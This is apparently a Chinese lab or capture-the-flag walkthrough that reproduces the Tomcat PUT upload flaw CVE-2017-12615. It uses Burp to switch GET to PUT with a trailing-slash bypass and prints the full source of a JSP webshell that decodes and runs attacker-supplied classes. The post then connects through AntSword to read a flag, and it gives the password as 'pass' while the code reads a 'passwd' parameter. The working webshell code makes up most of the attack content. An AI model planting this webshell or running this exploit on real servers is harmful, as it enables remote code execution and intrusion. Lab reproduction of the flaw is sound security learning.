Tomcat文件上传(CVE-2017-12615)漏洞复现
东东 Lv2

1、启动环境

image

2、打开Burpsuite进行抓包,点击网页刷新

image

3、GET修改为PUT,在文件名后面添加斜杠 / 来进行绕过

image

4、写入jsp一句话木马

<%!

class U extends ClassLoader {

​ U(ClassLoader c) {

​ super(c);

​ }

​ public Class g(byte[] b) {

​ return super.defineClass(b, 0, b.length);

​ }

}

public byte[] base64Decode(String str) throws Exception {

​ try {

​ Class clazz = Class.forName(“sun.misc.BASE64Decoder”);

​ return (byte[]) clazz.getMethod(“decodeBuffer”, String.class).invoke(clazz.newInstance(), str);

​ } catch (Exception e) {

​ Class clazz = Class.forName(“java.util.Base64”);

​ Object decoder = clazz.getMethod(“getDecoder”).invoke(null);

​ return (byte[]) decoder.getClass().getMethod(“decode”, String.class).invoke(decoder, str);

​ }

}

%>

<%

String cls = request.getParameter(“passwd”);

if (cls != null) {

​ new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);

}

%>

5、写入jsp一句话木马,进入该网址

image

6、连接蚁剑,密码pass

image

image

7、进入该主目录下tmp,找到flag

image

 评论